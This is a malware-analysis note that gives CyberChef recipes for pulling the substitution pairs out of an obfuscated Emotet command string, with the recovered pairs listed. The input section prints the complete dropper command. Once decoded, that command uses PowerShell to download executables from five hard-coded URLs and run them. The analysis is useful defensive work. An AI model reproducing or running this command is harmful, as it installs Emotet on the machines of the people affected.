CC-extract-emotet-substitution-pairs

CyberChef recipes to extract the substitution pairs from #emotet CMD string

----RECIPES----

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'%26%26'%7D,'%26',true,false,true,false)Fork('%26','%5C%5Cn',false)Regular_expression('User%20defined',':(.*%3D.*)!',true,true,false,false,false,false,'List%20capture%20groups')

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'%26'%7D,'%5C%5Cn',true,false,true,false)Regular_expression('User%20defined',':(.*%3D.*)!',true,true,false,false,false,false,'List%20capture%20groups')

----SOURCE----

https://app.any.run/tasks/ef4232cc-caea-4424-ba72-bfc9638ba3b7

----INPUT----

CmD    /V:  /r "  SEt  YuP=pow^%PUBLIC:~5,1^%r^%SESSIONNAME:~-4,1^%h^%TEMP:~-2,1^%ll +virtu]lV=w3fneur]lAw3f;+Jeweler_R=new-obje.t Net$#ebClient;+`eliver]bles[=w3fhttp://r]_-bet]$.om/1bV[EjoTlj@http://m]`hur]]rts$.om/##m29mGm@http://www$7i7]journ]l$.om/D1o40Dmemk@http://li3numpolsk]$.om/lCGBPPq{MY@http://w]liw]lo$.om/urHKt1`sw3f$Split(w3f@w3f);+Br][ili]nRe]ll=w3fTriplebu77ere`Ew3f;+7ullr]n3e# = w3f9w3f;+Che.kin3A..ountB=w3fPro7it7o.use`bw3f;+ivor_m=+env:publi.6w3f\w3f6+7ullr]n3e#6w3f$exew3f;7ore].h(+plum7 in +`eliver]bles[)Ztr_Z+Jeweler_R$Downlo]`File(+plum7, +ivor_m);+solutionoriente`A=w3fAwesomePl]sti.Chipstw3f;I7 ((Get-Item +ivor_m)$len3th -3e 80000) ZInvoke-Item +ivor_m;+Bu.kin3h]mshirep=w3fGr]nite?w3f;bre]k;}}.]t.hZ}}+M]ss].husettsJ=w3fSriL]nk]Rupeekw3f;&&   SET    fGx=!YuP:BP=Q!&&  sEt     az5=!fGx:w3f='!&  seT   ab=!az5:{=X!&  sEt   jL=!ab:.=c!&  sEt     Mr=!jL:$=.!&SET    F7e=!Mr:Z={!& seT     EW9T=!F7e:_=y!&   Set     oP=!EW9T:+=$!&&    SET     7R2=!oP:3=g!&&   sEt     ZM5=!7R2:[=z!&&    SEt CM6R=!ZM5:]=a!&& seT   zOn=!CM6R:2=3!&  SeT    ye=!zOn:#=W!&   Set     EIML=!ye:?=Z!&  SeT     7WhP=!EIML:`=d!&sEt  upaZ=!7WhP:6=+!&seT    W1A=!upaZ:7=f!&  eCHO  %W1A%  |  c%coMMOnpRoGRaMfIlES(X86):~25,1%d   "

----OUTPUT----

BP=Q
w3f='
{=X
.=c
$=.
Z={
_=y
+=$
3=g
[=z
]=a
2=3
#=W
?=Z
`=d
6=+
7=f